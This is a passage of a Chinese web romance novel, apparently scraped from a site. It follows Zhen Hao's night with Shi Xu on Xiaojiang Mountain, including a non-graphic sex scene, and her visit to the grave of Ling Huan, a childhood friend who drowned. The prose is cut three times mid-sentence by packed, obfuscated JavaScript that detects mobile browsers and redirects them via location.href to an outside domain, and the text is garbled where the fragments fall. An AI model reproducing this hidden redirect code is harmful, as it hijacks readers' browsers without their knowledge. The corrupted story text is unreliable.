甄家整个大家族早早就从全国各地回家准备过春节，是以外头热闹非凡，少她一个不会有什么影响。 “好吧，那我给阿姐拍好多漂亮的照片！”甄美很快又回道。 “嗯，好呀。你们玩得开心点。” 回完甄美的消息后，甄好起身去了书房。 当初装修的时候，她在隔音上面下了很大的功夫，尤其是书房，门窗的隔音比其他地方都要好，所以一进到这里，她就像来到了一处无人之境，耳边静悄悄的，窗外的声音像隔了几亿光年，遥远得如同外太空呢喃般的呼唤。 甄好喜欢这种空灵之境的感觉，刚坐下就感觉躁动的心渐渐平静了下来。 从南溪镇度假回来后，她简单地布置了一下书房，主要是加上了一些直播设备，这里也就成了她临时的简易工作室。 她本想开场直播，和粉丝们聊聊天，排解一下心中说不出的苦闷，可就在进入账号的一瞬间，改变了主意。 不过她并未马上退出账号，而是点开主页置顶的那条vlog。 视频里的她并未露脸，只有偶尔的远景半身或者背影全身，仅有的几个侧脸镜头也十分隐晦。 这是在去南溪镇之前拍的，视频不长，整体氛围七分严肃，三分松快，毕竟是一则致歉声明—— “好久不见，我是南音少女甄好好。不知道大家还记不记得我，也不知道我还有没有机会跟你们重新认识。 “在这里，我必须郑重地对所有喜欢和支持我的人说一句‘对不起’，这句道歉我欠了你们太久太久，今天终于有勇气说出来了。 “从前那个任性、怯懦、没有责任心，只知道逃避的甄好好回来了，不为任何人，只为自己，也为秋先生，更为南音文化的传承。 “无论结果如何，无论今后再面对什么声音，我都不会再退缩。请大家再给我一次机会，也给南音一次机会。谢谢大家。” 在春节临近之际，陡然听到“秋先生”这三个字，甄好的眼睛不由得泛酸，眼泪差点掉下来。 她用力地眨了几下眼睛，手机却在这时振动了两声。 她打开一看，是秦深发来的消息：“多么遗憾，新娘不是我心中的女孩。” 原本想哭的冲动转化为一阵阵恶心，甄好忍不住干呕起来。 生理性泪水混合着心中的烦闷一起淌下来，叫她分不清自己到底是难受还是难过。 等她缓过来的时候，时间已经悄悄溜到午夜时分。 家里人都知道她的职业，也清楚她的作息，并没有人来打扰她，真正属于她的夜开始了。 甄好打开手机，对着镜头沉默了片刻，才开口说了第一句话。 半个小时后，她收到了一条微信消息。 时序：“睡了吗？” 男人的语气带着试探和一丝小心翼翼。 甄好眨眨眼，盯着那三个字看了许久，才打字回道：“还没。” 时序的消息来得很快：“我想见你。” “现在？”甄好微微讶异。 时序：“嗯。方便吗？” 现在吗？ 甄好下意识的看了一眼书房墙上的挂钟，此时已经是深夜十二点半。 这个时间在城市里或许不算晚，但在闽镇这样的小地方，家家户户基本上都已经入睡，就连家里养的狗都做起了香甜的梦。 可是内心里叫嚣着的那股不明欲望让甄好直接忽视了时间的桎梏，回道：“好。” 时序：“我就在你家楼下，老地方。” 他说的老地方曾经是一堵简陋的土墙，而今那堵墙已经被推掉，成了一片平地，成了甄好房间明亮的窗户。 就像一直横亘在甄好面前的那堵无形的墙也在岁月的洪流中被冲击，被撞倒，又被重建，再往后便都是坦途，是花路。 看着时序的话，甄好破碎的心好像得到了修复。 那是一种很神奇的感觉。 时序好像总是有这样的本事，一句话、一个小小的举动就能够填满她空虚的内心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975063|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >甄好抓起手机，直播设备都没来得及收，起身就朝门口跑去。 当手碰上门把手之际，她才按捺住跳动的心，将动作放得又轻又缓，生怕吵醒已经熟睡的家人。 甄好熟门熟路地来到“老地方”，刚站到那道高大的身影面前，就被抱了个满怀。 “阿序，别在这里……”甄好有些扭捏地动了动身体，想要挣脱他的怀抱。 虽说现在已经是半夜，碰到人的概率几乎为零，但是万一呢？ 在这个小地方，男女之间随便发生一点小事就足够被人指着脊梁骨骂不要脸，尤其是女方。 她可不想第二天一起来就背上“水性杨花”的枷锁。 时序顺从地放开了她，只是依旧贴她贴得很近，说话时热气喷洒在她耳际，痒痒的。 他说：“好好，我只是想你了。” 语气听起来委屈巴巴的，像极了无家可归的小狗。 甄好心一软，忍不住抬头摸了摸他短短的头发，有点扎手，但她喜欢这种手感。 好像从少女时代开始，她就不喜欢头发过长的男生，反而是那种留着短到刺挠手心的发型更加得她心。 印象里，自重逢以来，时序好像就一直留着这样的发型。 是巧合吗？ 甄好不合时宜地想到了这个问题，同时也问出了口：“你的头发好像一直这样短。” “你不喜欢吗？”时序垂眸看她，眼里是浓得化不开的深情，“我记得你说你喜欢来着……” “你说什么？”他后面那句话说得有点轻，甄好没听清楚。 “没什么。”时序抬手挠了两下头，嘴角勾起甄好熟悉的带着一丝痞气的笑容，“你要是不喜欢，我就去换个发型，换到好好满意为止。只不过……” “只不过什么？”他的突然停顿吊起了甄好的好奇心。 他低头在甄好耳边说了句什么，立刻惹得她脸颊连带着耳尖都泛起红晕。 “时序！”甄好嗔了他一声。 腊月的夜，风一吹，凉意上身。她还没来得及感受寒冷，就被温暖牢牢裹挟。 时序脱下外套披在了她身上，独属于他的体温缓缓传递到她周身。 她突然想看点温暖的东西，于是问：“你可不可以不回家？” 这句话在时序听来无异于一种邀请的信号，只是他觉得甄好不像是会说出这种话的人，但仍忍不住心潮澎湃：“嗯，可以。” 甄好弯了弯眉眼，道出自己的想法：“我想去小江山看日出。” 小江山是闽镇近年来逐渐开发出的一处自然风景地，不需要门票，多是本地人会上去，自行负责吃食和人身安全。 “好啊，我陪你去。”时序丝毫不意外甄好想做的事是看日出，她本就不是个按常理出牌的人。 从去取车，到开车到山顶，只花了二十分钟的时间。 等置身于小江山时，甄好才猛然发觉原来乡下的夜空这样美。 星星调皮地在苍蓝的幕布上眨着眼，一颗连一颗，像恋人紧紧相依的心脏，璀璨又让人心动。 她却不可抑制地想起了一件悲伤的往事。 “时序，明天可以陪我去做一件事吗？”甄好感受着山风，声音轻得像融在了风里。 可时序听到了：“好。” 她想去哪里，想做什么，他都愿意陪着。 56. 我会对你温柔的 与过去和解，原来只需要看一次日出。 ——《甄好日记》 两人肩并肩，静静地站着。 甄好远眺群山，眼里闪着不明的情绪。 她身边的男人很安静，她不说话，他也不言不语。 老实说，时序是个很好的恋人。 恋人…… 甄好心念一动，倏地转身看着时序。山顶的风明明是凉的，他身边却好似带着一丝暖，叫她眷恋。 她微微靠近他，粉嫩的唇轻启：“阿序，我冷。” 其实她不冷。 她身上披着时序的外套，该冷的人是他才对。 但如果她说要归还外套，以时序的性格断然是不会同意的。 所以不等他有所反应，她直接展开大衣，整个人贴了上去，尽可能地将男人包裹严实，想用自己的体温去温暖他。 “这样就不冷了。”她埋在他的胸膛前，说话时瓮声瓮气的。 时序一愣，随即心脏深处的柔软被触动，同时也觉得无奈。 这个动作怎么看都更像是男人来做的，没想到倒让一个矮自己一头的女人先做了。 一米□□的时序就那样垂头看着甄好的发顶，眼里是浓烈的情意，心跳一下一下地加快，一定被埋在他怀里的人听了个一清二楚吧。 “阿序，你的心跳得好快啊。”果然，甄好很快抬起头看着他，眼中闪烁着一丝调皮。 “没有的事。”时序梗着脖子否认，“你听错了。” 甄好也不执着于这个问题，而是伸手轻抚他下巴处青色的胡楂。 手感刺挠，怪舒服的。 像是上了瘾一般，她从摩挲男人的下巴变成轻抚那凸起的喉结。 时序任由她动作，只是喉咙慢慢发干，身体也越来越紧绷。 “阿序，原来你已经长得这样高了呀。”甄好搂住他精瘦的腰，微微向后仰，抬头去看男人的脸。 一米六七的她原来已经需要仰头才能看清当初那个比她还矮的少年的脸了。 “好好，你说谎。”时序猛地将人拉近，两具身体紧紧相贴，柔软的触感像棉花糖，甜丝丝的。 “我没有……”甄好不明白地看着他，好看的眉头微微皱起，“我什么时候说谎了？” “你有。”时序将人搂得更紧了几分，俯身拥抱她，低沉而富有磁性的嗓音落在她耳畔，“在床上的时候，你一定感受到了。” “时序！”甄好没想到自己会听见这样一句话，顿时羞得脸颊发烫，“你流氓！” 她说着伸手就要去打时序的胸膛，他却跟背后长了眼睛似的，精准地握住她细白的手。 感受到她指尖的冰凉，时序和她拉开距离，将手凑在唇边吻了吻，心疼极了：“怎么这样凉，是不是很冷？” 说完，他又不放心地将她的手往自己怀里塞，甚至拉开毛衣下摆，拉着她的手往里送。 触碰到男人滚烫的皮肤时，甄好下意识地往回缩，摇头道：“不要，这样你会着凉的。” “不会的，我身体好你又不是不知道。”时序紧紧握住她的手，坚持己见。 甄好却比他更拗，一个劲地摇头：“我不要。” 无奈之下，时序只好提出另一个解决办法：“那我们回车里？” 车就停在不远处的平地上，距离日出还有好几个小时，回车里等的确是眼下最好的方法。 于是甄好点点头，没有拒绝。 时序特意开了辆改装大越野，宽敞的车型哪怕是睡两个成年人都不会觉得拥挤。 “现在感觉怎么样？”进了车里，时序还是一直握着甄好的手帮她取暖，“还冷吗？” 其实甄好不冷了，但她鬼使神差地说道：“还是好冷。” “那我抱抱你就不冷了。”时序说着将人温柔地搂进怀里。 像是被什么触动了，甄好因为他的这句话反倒想要得到更多，于是嘴不由心地说道：“还是好冷。” 这下时序慌了：“你是不是哪里不舒服？” 他放开怀中人，眉眼焦急，同时伸手去摸她的额头。 甄好轻轻地摇了摇头：“我没事，我就是……” ——想一直赖在你怀里。 这句话她没好意思说出口。 “就是什么？”时序都要被她急死了，“好好，你别不说话，我担心。” “就是突然想喝酒了。”甄好轻轻地捏了下他的脸颊，笑得狡黠，“车上有没有？” 时序一愣，旋即笑开：“当然。” 小酒怡情，品尝美酒是两人共同的爱好之一。所以当他打开小冰箱，拿出颇为齐全的调酒工具和材料放在小桌上时，甄好一点也不感到意外。 “这位美丽的女士，请问今晚来杯什么？”时序极为绅士地询问道。 “但凭英俊的先生发挥。”甄好配合道。 “收到。”说罢，时序便动作娴熟地调起了酒。 很快，一杯色泽艳丽的酒液出现在甄好面前。 “请美丽的甄好小姐为这杯酒赐名。”时序的语气里满是邀功之意。 甄好轻轻摇晃着酒杯，美丽妖冶的汁液随之摇曳。在这冬日的夜，鲜艳的颜色让人感到温暖，就如同此情此景，亦如同眼前的男人。 “就叫它……”甄好顿了顿，才继续说道，“冬夜蔷薇。” “冬夜蔷薇……”时序将这四个字细嚼慢咽了片刻，而后欣赏地点点头，“好名字。感谢美丽的甄好小姐赐名。” 一杯酒下肚，甄好感觉浑身热热的，脸也微微发烫。 她伸手去开窗，又觉得不够，直接将身上自己的外套脱了下来。 时序的大外套早在坐进车里后就脱下来了。 脱了外套，甄好才意识到自己里面只穿了一件低领薄羊绒衫，车厢里到底空间有限，她动作间，衣领稍稍滑落，露出白皙圆润的左肩。 她抬眸看向男人，却发现他的注意力不在自己身上。 因为喝了酒，甄好的胆子比平时大，不仅没有将领子整理好，反而故意凑到时序面前，状若无意地用身体去贴近他。 时序无意间地一瞥，目光便彻底沉了下去。 他这晚找甄好本就是带着目的而来。 而他的目的…… 时序清明的双眸渐渐染上情欲，随即缓缓靠近女人。 甄好很满意他的变化，不自觉地闭上眼睛，手轻柔地抚上男人的胸膛。 她想要一场酣畅淋漓的释放。 而他，想要将她彻底占有，从身体到心灵。 当无意间刷到甄好用小号发的那条视频，他除了心疼，还有嫉妒。 没错，他嫉妒得要发狂，所以他失去了理智，在冷静下来之前已经来到了甄好家。 再然后，他们就在这逼仄的车厢里喝起了酒。 原本冰凉的山风已经将他的□□压了下去，偏偏这个女人又来撩拨他。 “好好——”时序的嗓音带着一丝哑，听起来比平时要性感几分，“你知道你在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980687|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 甄好没回答，只轻柔地“嗯”了一声。 正是这近乎呢喃的一声，让他脑中紧绷的那根弦几乎断裂：“好好，你知道这是在哪里吗？” “嗯……”甄好的嗓音也染上了浓浓的情欲，“我知道……” 她当然知道，这是在车上。 “我想试试，好不好？”她说着又往时序身上贴近几分。 轰—— 原本就脆弱不堪的弦彻底崩断，时序再也忍不住吻住她开开合合的唇。 车厢内的温度一路攀升，直到顶点。 枕着星空，沐浴着夜风，就连偶有的虫鸣都像助兴的伴奏，声浪一浪叠一浪。 时序长臂一伸，将车座完全放平，而后小心翼翼地护着甄好的后脑勺，让她缓缓躺下，声音温柔得不像话：“这样有没有舒服一点？” “嗯……”甄好浑身软得不像话，一开口更是软得像棉花糖。 酒液的芬芳在燥热间传递，心跳在律动间一声比一声强烈。 不知过了多久，温度渐渐褪去，空气里粗重的呼吸声趋于平稳。甄好靠在男人的胸膛上，微微闭着眼，一副餍足慵懒的模样。 时序一只手撑着脑袋，居高临下地看着她平静的面容；另一只手有一下没一下地用手指绕着女人柔顺的黑发。 “阿序，辛苦你了。”每次事后，甄好都要这样说上一句。 “辛苦我什么？”这一次，时序终于不满道。 “辛苦……”甄好被他问住，一时没了后话。 时序低头亲了亲她的额头，才颇为不服气地说道：“不辛苦，我还能再来一次。” 说完，他俯身作势要做点什么。 甄好惊恐地看着他越靠越近的脸，连连求饶：“不要——” 她的“不要”隐匿在恋人柔情似水的呢喃间：“好好，我会很温柔的。” 时序本来不打算再要她一次的，可一靠近她，他的身体就疯狂叫嚣着“想要”。 两人不知折腾到几点才沉沉睡去，甄好是被时序叫醒的。 “好好，太阳快出来了。”男人轻柔的嗓音落在耳畔，叫她生出这就是一生一世的错觉。 小江山有个最佳观日亭，可能因为小镇的人们都在欢欢喜喜地准备过年，这天竟没有人前来看日出。 “阿序，你说我们现在像不像陶渊明描述的世外桃源？”甄好看着天际刚染上一丝绯红的鱼肚白，忽然感慨道。 直到长大成人的好几年后，她才渐渐理解古人为何如此渴望隐居，过世外桃源般的生活，社交和工作实在太过费心费神，寄情于山水的确来得更加逍遥自在。 “你喜欢吗？”时序却答非所问。 “嗯，喜欢。”觉得不够甄好又补充了三个字，“很喜欢。” “我也喜欢。”一个想法骤然在他心中形成。 须臾间，灰蓝的天际被艳丽的红一寸寸蚕食，眼前的风景变得明亮而动人。当那颗巨大的红宝石跳出地平线，耀眼的光芒让甄好心中一颤。 那种磅礴的生命力像是会流淌一般，一点一点地注入她心间，让她好似在一瞬间有了无穷无尽的期盼和能量。 原来这就是大自然神奇的馈赠。 “太美了。”甄好不禁赞叹出声。 “美”这个字用来形容当下盛景实在是太过苍白，可她想不出更好的词语了。 甄好望着眼前的艳艳红日，说出了她二十多年来一直不敢面对的事：“阿序，陪我去祭拜欢欢吧。” 57. 见不到最后一面 人总是一边成长，一边给自己的心上了一道又一道枷锁。 打开心门的钥匙却只有你自己。 ——《甄好日记》 二十二年前，也就是甄好六岁那年。 她有一个很好的玩伴，是时序出现之前唯一的玩伴，也就是凌欢。 凌欢是抱养来的孩子，她的亲生父母离她现在的家只有几户之远，亲生骨肉却只能相见不能相认。 这种情况在当时落后的小山村里十分常见。 凌欢天生乐观爱笑，总是扎着两个小羊角辫，见到谁都乐呵呵的，一张嘴也甜丝丝的，哄得大人小孩都喜欢她。 那时候的甄好总是独来独往，邻里邻外，无论大人还是小孩，都不喜欢她。 久而久之，她也接受了自己就是不讨人喜欢的事实。 可这些人里，不包括凌欢。 凌欢会主动牵起她的手，会对她扬起明媚的笑容，会用脆生生的声音对她说：“好好，我们一起玩好不好？” 甄好甚至来不及惊讶，更别说拒绝，凌欢就已经欢天喜地地拉着她漫山遍野疯玩。 凌欢身上好像有使不完的力气，一整天都能量满满的，连带着甄好也觉得自己精力充沛。 她原以为凌欢跟自己玩只是一时兴起，等第二日醒来，就会像灰姑娘的南瓜车一样，一切恢复原样，没想到事实完全相反。 不仅第二天，第三天、第四天、第五天，凌欢都在早上八点准时出现在甄好家。 甄好到底还是个小孩子，渴望有人跟自己一起玩。她再独来独往，也总抱着能够融入孩子堆的期待去过每一天。 凌欢的出现，让她贫瘠的童年生活多了一丝光亮的色彩。 “欢欢，你每天都起这么早吗？”在第七天的早晨，甄好终于忍不住惊讶地问。 “妈妈每天早上都要早起喂猪、喂鸭子，我会跟着起床帮帮忙。”凌欢依旧笑眯眯的，像颗小太阳。 “欢欢好厉害，这么小就会帮大人做家务了。”甄逾冬笑着摸了摸凌欢毛茸茸的脑袋。 彼时甄好的爷爷甄逾冬年轻英俊，说是好好的父亲都没有人会怀疑。 “谢谢冬先生。”凌欢笑得小虎牙都露出来了。 甄逾冬是闽镇小有名气的人物，因为长得帅，也因为读过书，写了一手好字，更因为懂得五行八卦，有点“功夫”在身上，所以大家都尊称他“冬先生”。 也是这天，甄好做了此生最为后悔的事情。 “欢欢，我带你去一个秘密基地好不好？”吃过早饭后，甄好神秘地对凌欢眨着眼睛说道。 “好啊好啊，什么秘密基地，在哪里？”凌欢听到这话，眼睛更亮了。 “跟我走，你就知道了。”甄好总是能被她感染，看到她的笑容，心情也更好了几分。 两个小女孩翻山越岭来到了一座小山上，说是翻山越岭，其实对于大人来说不过是十五分钟的脚程。 那里便是还未得到开发，但已经被人们走出一条宽敞山路的小江山。 没人陪甄好的日子里，她都喜欢来这里吹山风，和山上的狗尾巴草说说话，倾诉自己小小的脑袋里装着的那些小小的烦恼。 那是凌欢第一次知道甄好的秘密基地，也是凌欢短短六年人生的埋葬之地。 “如果当年我没有带欢欢来这里就好了。”在凌欢出事后，甄好无数次悔不当初，且随着年龄的增长，她内心的愧疚更盛。 每一次只要提起凌欢，她眼中的难过之情浓烈到仿佛可以淹没天地，却总是紧紧咬着唇，不让痛楚发出声音。 时序用力搂住她，轻吻她的额头，心疼地说道：“好好，别这样，你没错，欢欢也不想看到你这样自责地过一辈子。” 两人这时已经快要走到凌欢的墓前，甄好却倏地驻足，不敢再朝前踏出一步。 如今二十几年过去，闽镇早已从传统的土葬变为火葬，往生之人也都住进了相关单位统一规划的灵堂，只有部分早年间实行土葬的还留在原处。 早夭的凌欢甚至没有属于自己的坟头，只在家中过世已久的长辈坟旁起了一个小小的坟冢。 远远看见那小小的坟尖，甄好的眼泪一下子就出来了。 待在那么小的屋子里，凌欢一定害怕极了，她那么怕黑。 “欢欢……”甄好刚开口喉咙就像被湿棉花堵住，再也说不出一句完整的话来。 在时序的搀扶下，她才一步一步、缓慢地走到凌欢的墓前。 “欢欢，我来看你了。”平复情绪良久，甄好才找回自己的声音，“对不起，直到今天才来看你。” 墓碑上没有照片，只有一行小小的字，她俏皮的笑容却清晰地映在甄好的脑海里。 六岁的凌欢，常常笑得露出可爱的小虎牙，眼睛也弯成月牙形状，声音听起来脆脆的、甜甜的，很讨人喜欢。 可她的一切美好停止于那场百年难得一遇的暴雨。 甄好永远忘不了那一天。 她坐在家中，看着天井上一串串连成线的雨倾盆而下，心里想着雨什么时候停，耳边传来甄奶奶充满惋惜的声音：“可惜了欢欢那么好的孩子。” 甄好听不懂，但一听到跟凌欢有关，立刻从小板凳上起身，追问道：“奶奶，欢欢怎么了？” 甄奶奶看着年幼的甄好，一副欲言又止的模样。 “奶奶，你快说啊！”因为下大雨，她这天没能见到凌欢，本就浑身不习惯，陡然听到有人提起凌欢，她自然是要问个清楚。 “欢欢她……”看着甄好期盼的眼神，甄奶奶怎么都不忍心将那两个字说出口。 两个小孩这些时日以来天天同进同出，感情好得跟亲姐妹似的，她是看在眼里的，叫她如何将那残忍的真相说出口…… “奶奶！欢欢到底怎么了？！您快说呀！”这下甄好真的急了。 甄奶奶那种表情她不是第一次见，如果她没有看错，那是村里一旦有老人…… 想到这里，甄好不敢再继续往下想。 “欢欢……没了。”甄奶奶拧不过孙女的软磨硬泡，到底还是将自己听来的消息说了出来。 “没了……”甄好愣愣的，感觉大脑有些麻木，“没了是什么意思……” 就在上个月，她听过同样的词语。 甄奶奶当时的表情也是如同此时，悲悯中带着一丝感叹：“张阿叔过身了。” “奶奶，过身是什么意思啊？”这是甄好第一次听到这个词。 “就是……”甄奶奶一时不知如何解释，“就是没了。” “没了又是什么意思呀？”甄好的问题一个接一个。 “没了就是……”甄奶奶绞尽脑汁，才说出一个哄小孩的解释，“就是会变成天上的星星，以后我们只能在天空上看见他了。” 说着，她指了指头顶的蓝天。 甄好抬头望着天，懵懵懂懂。 天上的星星吗？ 星星那么漂亮，那人过身了是一件很美好的事情呀。 这是甄好当时稚嫩的脑袋里所能想到的形容。 但这个想法只存活了几天便消失不见，因为后来她见识了张阿叔被放进一个四四方方的木头盒子里，又被黄土掩埋，最后成了一个圆圆尖尖的土堆。 张阿叔家与甄家有亲戚关系，出殡当天洋洋洒洒将近上百号人去送他最后一程，贪玩的小孩缀在其间，甄好便是其中一个。 大人以为小孩子不懂事，在举行一些仪式的时候没有特意避开，这也就让甄好见到了很多不曾看过的。 她仍旧不懂何为死亡，却在那之后连续做了好几天的噩梦。 梦里都是空中纸钱纷飞，张阿叔连同巨大的木头盒子被黄土掩埋的场景。 她慢慢知道，人没了就是真的没了。 她再也看不到张阿叔和蔼的笑容，再也听不到张阿叔慈祥地叫自己吃甜甜的杧果和龙眼…… 也是自那之后，她开始惧怕山上的一座座孤坟，恐惧一个人站在空荡荡四周又满是树木草丛的地方。 在甄奶奶的叙说之下，甄好知道了凌欢“没了”的来龙去脉。 闽市因为受台风影响，一连下了数日的特大暴雨，乡镇地区受灾尤其明显。 直到昨日，暴雨方骤停，被洗刷过的天地干净又清新，一切都显得那样澄澈。 凌欢起床后没看见父母，便一个人寻去了家里田地的所在处，却扑了空。 回家的路上，她突然兴之所至，拐去了小江山，想看看山脚下雨后的小溪流是不是比平时更好看了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990788|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就是这一去，她再也没能走出小江山。 根据目击的村民回忆：“当时我忙着给水稻施肥，远远看见欢欢在溪涧边玩水，还叫她快快去找大人。” 可惜洪水无情，雨后的溪流水势大涨，几乎要漫过石桥。 说是石桥，其实不过是两块大石头垒在上面，泛黄的溪水偶尔漫过，人踩在上面滑溜溜的，十分危险，更何况凌欢只是一个六岁的孩子。 凌欢是什么时候掉进溪流里的，没人知道，目击者只称自己一个抬头间便不见了孩子的身影，却也只当是孩子个子矮小，被山间的树木遮挡，就没过多在意。 谁知凌欢的父母并不在附近，谁知会演变成这样的悲剧…… 搜救队寻找了整整三天，都没有凌欢的半点消息。 不管甄好走到哪里，都能听见有人在议论这件事—— “听说凌家阿叔阿婶几乎一夜白了头，凌欢妈妈更是那个哭啊……” “希望欢欢早日找回来，不然这白发人送黑发人，谁不伤心……” “那么小一个孩子，恐怕找不回来了，唉……” 甄好听着大人们的话，心里一阵堵塞。她很想冲上去跟他们理论，可是她一个字都说不出来。 她只能对着大山祈祷，祈祷山神爷爷能够将心地善良的凌欢送回到爱她的人身边。 凌阿叔凌阿婶因为身子问题，一直没有自己的小孩，好不容易才得了凌欢这个乖巧可爱的女儿。虽说凌欢是抱养的，但夫妇俩对她极尽疼爱，什么都紧着她，这叫他们如何承受失去女儿的痛苦…… 甄好不太懂这些复杂的感情，可她心里清楚，如果凌欢真的“没了”，就会像张阿叔一样，被放在巨大的木头盒子里，然后埋在地底下。地下肯定又黑又脏，那么爱干净的凌欢怎么受得了…… 一想到这些，甄好就哭着跑回家，嘴里念着“我要欢欢，我要欢欢”，而后一头扎进甄爷爷的怀里，任谁叫她都不肯抬起头来。 甄逾冬一边轻轻拍着甄好的背以示安抚，一边忍不住叹气。 他心里清楚，凌欢多半是找不回来了，就算找回来…… 事实与甄逾冬所料的一致，又一个三天后，凌欢被搜救队找到了。 就在凌家夫妇几乎绝望之际，凌欢“回家”了。 哪怕是与凌欢朝夕相处的他们也认不出那个被水泡得浑身发胀，看不出五官的人是自己的女儿凌欢。 他们看到的只是一具陌生的、冷冰冰的尸体。 凌阿婶当场就晕了过去。 那一日，闽市新一号台风接连而来，狂风暴雨再次席卷整个沿海地区。 后来的一切都是甄好听说的，她根本没有机会亲眼见到凌欢。 她连好朋友的最后一面都见不到。 说起这件往事的时候，甄好仿佛用尽了所有力气：“阿序，我昨晚梦见欢欢了。梦见她整个人泡在水里，哭着求我救她，可是我什么都做不了，我连水都不敢下去……” 她说着整个人脱力般地跪坐在沾着晨露的草地上，干燥到发酸的眼眶终于流下眼泪来：“欢欢，对不起……真的对不起……我好想你，欢欢……” 凌欢是她人生里的第一个朋友，也是第一个教会她死亡和懊悔是什么滋味的人，更是她一直以为无法面对的心魔。 在南溪镇度假的那几天，她曾尝试着像别人一样走到浅海滩去踏浪，却次次以失败告终。 也是在那里，她难得梦见了凌欢。 这么多年以来，凌欢鲜少出现在她梦里，近日来却时常光顾，于是她就想，自己是不是该来面对这一切了…… 她需要给凌欢一个交代，也需要给自己上了枷锁的心一个出口。 看着甄好悲痛欲绝的模样，时序心疼地蹲下身。 他是第一次听说凌欢的故事，也才终于明白为何甄好如此惧水。 他轻轻环住她的双肩，给她依靠的力量，却不曾说过一个字。 他想，她需要安静地倾诉与发泄。 他只要一直陪在她身边就好了。 只要她需要，他就在。 他永远都会在。 清晨微凉的山风袭来，开在凌欢坟旁的两朵小雏菊随风摇曳。像两个手牵手，笑着翩翩起舞的小女孩。 58. 一切都还不算晚 那些让我难过的事情，终于被我笑着说了出来。 ——《甄好日记》 从小江山回家后，甄好洗了个热水澡，告诉家里人自己昨晚熬夜工作需要补眠时，何允莲念叨了两句：“好好呀，你这样不行的啦，身体要熬坏的。下次不能这么晚睡了，女人容易老的……” 这几年，何允莲养生养到有些魔怔的地步，不仅自己注重养生，见别人挥霍身体也忍不住要说几句。 “知道了，我先去睡了。”甄好满口答应。 “那你早餐还吃不吃啦？”何允莲却没放过她。 “我就睡一个小时，好不好？一个小时后我一定起来吃早餐。”大不了吃完了再继续睡，甄好这么想着的同时继续说，“我保证。” “行吧。那你快去吧。”何允莲挥挥手说道。 甄好立刻钻进自己的房间，戴着耳塞很快便沉沉睡去。 这一觉，她梦里是怒放的小雏菊，和笑着朝自己挥手的凌欢。 她的面容永远停留在六岁，却用小大人似的口吻对甄好说：“好好，向前走，不要回头，前方的风景更好。” 而另一边，时序同样洗完澡躺在了床上想补觉，却怎么都睡不着。 他忍不住打开手机重新看了一遍甄好用小号发的那条视频，标题是——未婚夫邀请我参加他和小三的婚礼。 仿佛是抓住了什么流量密码，这条自白式的口播竟然高达五十万赞，甚至还在以极快的速度涨着。 点开视频，甄好的声音似山间小溪悦耳，缓缓流淌着：“现在是腊月二十八晚上十一点二十八分，我的未婚夫结婚了，新娘不是我。哦，不对，我说错了，是前未婚夫。我承认，我有点郁闷，也很不甘，所以想录下这个视频，就当在无人的地方发泄一下，也当为自己八年的青春画下一个句号。 “在二十八岁生日那天发现未婚夫出轨是什么感觉？其实没什么感觉，因为当时我整个人已经麻木了，耳朵听不到声音，大脑一片空白，就像全世界都变黑了，只有我一人摸索着踽踽独行。如今时隔数月，再想起来像是一个世纪前发生的事情，遥远又陌生，但我还是想说说我和他的故事。 “姑且称他为Q先生吧。我和Q先生是在大学的时候认识的，那年我二十岁，他二十二岁，我们同一届。他因为上学比别人晚一年，又因为高考遇到意外而复读一年，所以自他读书以来一直是班级里‘哥哥’一样的角色。这个角色不仅体现在年龄上，在各方面他都对同学们体贴温柔，很受大家欢迎。到了大学，他依旧是光芒万丈的模样，当了班长、做了学生会会长，喜欢他的女生不计其数，而我并非其中一个。或许正是因为这样，他对我起了好奇心。 “其实也没有什么轰轰烈烈的追求故事，Q先生主打一个陪伴，七分真心三分承诺就足以让我沉沦。因为原生家庭过于冰冷，我从小缺爱，很快便陷入爱河。” 甄好说到这里的时候声音染上了一丝哽咽，画面有片刻的停顿，看得出剪辑的痕迹。 她并未露脸，只露出一截线条流畅的漂亮下巴，可时序就是一眼认出是她。 加上她那把听起来十分独特的嗓音，他更加确信无疑她就是甄好。 手机里甄好的声音还在继续，时序像自虐般，一直听了下去—— “一开始，Q先生对我很好，我们很甜蜜，是系里公认的模范情侣。不可否认，我们有过一段很幸福的时光，我也相信那段感情是真的，那是校园时代里纯粹的爱情，也是滋养过我的一段美好旅程。 “可是不知从什么时候起，这段感情渐渐烂掉了。很遗憾，我身上没有从校园到婚纱的美丽佳话，我与Q先生的爱情结局不是从此过上幸福的生活。 “是什么时候发现Q先生不对劲的呢？是有一次我无意间瞥见他的手机屏幕，看见了一条短信。像是老天爷也在帮我，偏偏那条消息被我看到了……” 画面到这里又有明显的剪辑痕迹，时序是第二次看这段视频，却仍能从甄好的话语中感受到她的难过。 他昨晚不管不顾地跑去找她，除了心疼她，想抱抱她，还有铺天盖地的嫉妒。 